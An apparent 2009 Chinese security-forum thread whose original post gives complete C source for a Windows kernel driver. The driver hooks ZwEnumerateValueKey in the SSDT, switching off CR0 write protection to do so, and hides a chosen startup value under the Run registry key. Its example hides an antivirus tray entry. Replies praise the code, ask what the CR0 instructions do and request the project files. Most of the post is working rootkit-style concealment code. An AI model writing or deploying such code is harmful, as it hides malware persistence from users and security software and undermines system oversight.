首页
社区
课程
招聘
[原创]隐藏注册表的键值
发表于: 2009-12-27 17:00 9752

[原创]隐藏注册表的键值

2009-12-27 17:00
9752

写了个简单的隐藏注册表键值的驱动,通过HOOK ZwEnumerateValueKey来实现,这里把代码贴出来:
#include <ntddk.h>
#include <stdio.h>

//定义ObQueryNameString
NTSYSAPI NTSTATUS NTAPI ObQueryNameString(
                                        IN PVOID Object,
                                                OUT PVOID ObjectNameInfo,
                                                IN ULONG Length,
                                                OUT PULONG ReturnLength
                                                );

//定义ZwEnumerateValueKey
NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(
                                                IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                );

//定义要Hook的API函数原型                                                                                       
NTSTATUS MyZwEnumerateValueKey(
                                                IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                );                                                                                       
                                                                                       
                                                                                       
//声明函数指针,并且函数返回值为NTSTATUS类型                                                                               
typedef NTSTATUS (*REALZWENUMERATEVALUEKEY)(
                                             IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                );                                                                                       
                                                                 
                                               
REALZWENUMERATEVALUEKEY RealZwEnumerateValueKey=NULL;

//这就是要隐藏的键值,这里我隐藏的键值是瑞星杀毒软件的启动项,你也可以改成别的
PWSTR HideValue=L"RavTray";   

#pragma pack(1)
typedef struct ServiceDescriptorEntry{
        unsigned int  *ServiceTableBase;
                unsigned int  *ServiceCounterTableBase;
                unsigned int  *NumberOfServices;
                unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragma pack()       

_declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
       
#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]       

NTSTATUS HookApi();
NTSTATUS UnHook();
PVOID GetPointer(HANDLE handle);
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject);

PVOID GetPointer(HANDLE handle)
{
PVOID pKey;
if(!handle) return NULL;
if (ObReferenceObjectByHandle(handle,0,NULL,KernelMode,&pKey,NULL)!=STATUS_SUCCESS)
{
pKey=NULL;
}
return pKey;
}

NTSTATUS MyZwEnumerateValueKey(
                                                IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                )
{
  PVOID pKey;
  UNICODE_STRING *pUniName;
  ULONG actuallen;
  UNICODE_STRING uStrValueName;
  ANSI_STRING keyname;
  NTSTATUS status;
  PWSTR ValueName;
  ULONG NameLen;

  status=((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                                         Index,
                                                         KeyValueInformationClass,
                                                         KeyValueInformation,
                                                     Length,
                                                     ResultLength);
   pKey=GetPointer(KeyHandle);  
  
   if (pKey)
   {
    pUniName=ExAllocatePool(NonPagedPool,1024*2);
        pUniName->MaximumLength=512*2;
        memset(pUniName,0,pUniName->MaximumLength);
        if(NT_SUCCESS(ObQueryNameString(pKey,pUniName,512*2,&actuallen)))
        {
     RtlUnicodeStringToAnsiString(&keyname,pUniName,TRUE);   
     
         DbgPrint("%ws\n",pUniName->Buffer);       
         keyname.Buffer=_strupr(keyname.Buffer);
         
         if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN")==0)
    {
        ValueName =((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;  
        if (ValueName!=NULL&&wcsstr(ValueName,HideValue)!=NULL)
        {
        Index++;
                ValueName=NULL;
                return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                                         Index,
                                                         KeyValueInformationClass,
                                                         KeyValueInformation,
                                                     Length,
                                                     ResultLength);
                }
        //DbgPrint("ValueName=%ws\n",ValueName);       
                                 
     }
   }
  }

return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                                         Index,
                                                         KeyValueInformationClass,
                                                         KeyValueInformation,
                                                     Length,
                                                     ResultLength);

}

NTSTATUS HookApi()
{
    RealZwEnumerateValueKey = (REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey);
_asm{
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
    }

(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey)=MyZwEnumerateValueKey;
_asm{

         mov eax,cr0
         or eax,10000h
         mov cr0,eax
}
return( STATUS_SUCCESS );
}

NTSTATUS UnHook()
{
_asm{
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
}
(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey) = RealZwEnumerateValueKey;
_asm{  
     
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
}
return STATUS_SUCCESS ;
}       

NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
NTSTATUS status;
DbgPrint("OnUnload called!\n");
status=UnHook();
return status;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                                         IN PUNICODE_STRING theRegistryPath)
{

        theDriverObject->DriverUnload=DriverUnload;
    HookApi();
        DbgPrint("Hook Called!\n");
        return STATUS_SUCCESS ;
}

下面把源代码发上来:


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (11)
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
好厉害的原创,学习了.
2009-12-27 21:34
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
好多代码都是基于这个框架改出来的
2009-12-27 21:50
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这不是黑客防线200912期上的文章吗??
2009-12-27 22:05
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
哈哈,学习下。
2009-12-28 12:08
0
雪    币: 379
活跃值: (152)
能力值: ( LV12,RANK:330 )
在线值:
发帖
回帖
粉丝
6
12期的那个有问题,它隐藏RUn下所有的键值,所以我重新改了一下,
2009-12-29 11:32
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
学习。。
mark
2009-12-29 11:49
0
雪    币: 242
活跃值: (89)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
请教楼主
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax

   mov eax,cr0
   or eax,10000h
   mov cr0,eax

是什么意思,有什么用
2009-12-29 13:35
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
统统 带回家了
2010-1-8 23:24
0
雪    币: 1580
活跃值: (72)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
收藏待用!~
2010-1-9 12:03
0
雪    币: 808
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
11
学习学习在学习啊。。
2010-1-9 12:59
0
雪    币: 5327
活跃值: (3719)
能力值: ( LV13,RANK:283 )
在线值:
发帖
回帖
粉丝
12
直接把工程文件发上来吧,方便大家。
2010-1-9 13:10
0
游客
登录 | 注册 方可回帖
返回
//